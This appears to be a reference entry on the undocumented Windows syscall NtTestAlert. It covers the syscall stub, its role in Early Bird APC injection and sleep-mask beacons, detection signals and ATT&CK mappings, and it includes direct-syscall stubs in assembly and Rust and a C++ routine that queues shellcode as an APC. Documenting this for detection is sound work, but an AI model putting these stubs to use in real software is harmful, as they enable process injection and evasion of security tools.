NtTestAlert

Prototype

NTSTATUS NtTestAlert(VOID);

Arguments

Syscall IDs by Windows version

Syscall stub

4C 8B D1            mov r10, rcx
B8 D3 01 00 00      mov eax, 0x1D3
F6 04 25 08 03 FE 7F 01   test byte ptr [0x7FFE0308], 1
75 03               jne short +3
0F 05               syscall
C3                  ret
CD 2E               int 2Eh
C3                  ret

Undocumented notes

`NtTestAlert` forces the calling thread into an alertable check-point: if `KeTestAlertThread` returns TRUE, the kernel drains the user-APC queue right now by jumping the thread to `KiUserApcDispatcher`. Unlike `SleepEx(0, TRUE)`, it does not enter the wait loop — it is a pure synchronous APC delivery point. Phnt defines it; the public Win32 header does not. SSN drifts every couple of feature updates (`0x1A3` on Win10 1507 → `0x1D3` on Win11 24H2), so dynamic resolution is mandatory for portable shellcode.

Common malware usage

The defining role is in **Early Bird APC injection**: spawn a process in a suspended state, queue a user-APC on its initial thread with `NtQueueApcThread`, and let the loader thread fire `NtTestAlert` as part of normal early init — the APC executes before any AV/EDR DLL gets a chance to mature. Variants of Early Bird (used by FIN7, Turla, the Conti family, and re-implemented in countless open-source loaders) deliberately call `NtTestAlert` to force-deliver the APC instead of waiting for a natural alertable point. It is also the *kickoff* primitive of Ekko-style sleep masks: the masking thread queues an APC chain on the beacon thread, suspends it, and the beacon resumes through `NtTestAlert` → `KiUserApcDispatcher` to enter the ROP chain.

Detection opportunities

Outside of debuggers, system services, and a handful of CRT init paths, `NtTestAlert` is not a common call from non-Microsoft binaries. Sysmon does not have a dedicated event for it, but stack-walking EDR collectors can catch the `NtTestAlert → KiUserApcDispatcher → <implant>` transition. The more useful signal is the *combination*: a freshly created process whose first thread executes `NtQueueApcThread` (from elsewhere) followed by an in-process `NtTestAlert` and an immediate jump into a private RX region — that is essentially the Early Bird fingerprint. Kernel callbacks via `PsSetCreateThreadNotifyRoutineEx` are a more reliable place to anchor detection.

Direct syscall examples

; Direct syscall stub for NtTestAlert (SSN 0x1D3 on Win11 24H2)
NtTestAlert PROC
    mov  r10, rcx          ; syscall convention (no args, but stub still sets r10)
    mov  eax, 1D3h         ; SSN — rebuild for each Windows version
    syscall
    ret
NtTestAlert ENDP

// Within a newly-suspended target thread:
//   1) Queue APC pointing at shellcode
//   2) Resume thread; force-deliver via NtTestAlert from inside the thread context.
extern "C" NTSTATUS NTAPI NtQueueApcThread(HANDLE, PVOID, PVOID, PVOID, PVOID);
extern "C" NTSTATUS NTAPI NtTestAlert(VOID);
extern "C" NTSTATUS NTAPI NtResumeThread(HANDLE, PULONG);

void EarlyBird(HANDLE hThread, PVOID shellcode) {
    NtQueueApcThread(hThread, (PVOID)shellcode, NULL, NULL, NULL);
    NtResumeThread(hThread, NULL);
    // Self-deliver any APCs queued on *this* thread immediately.
    NtTestAlert();
}

// Used to wake a beacon thread out of a self-suspended state into
// the APC chain that drives sleep-mask decryption.
use std::arch::asm;

#[unsafe(naked)]
pub unsafe extern "system" fn nt_test_alert() -> i32 {
    asm!(
        "mov r10, rcx",
        "mov eax, 0x1D3",   // Win11 24H2 — resolve dynamically in production
        "syscall",
        "ret",
        options(noreturn),
    );
}

MITRE ATT&CK mappings

• T1055Process Injectionmitre ↗
• T1055.004Asynchronous Procedure Callmitre ↗
• T1106Native APImitre ↗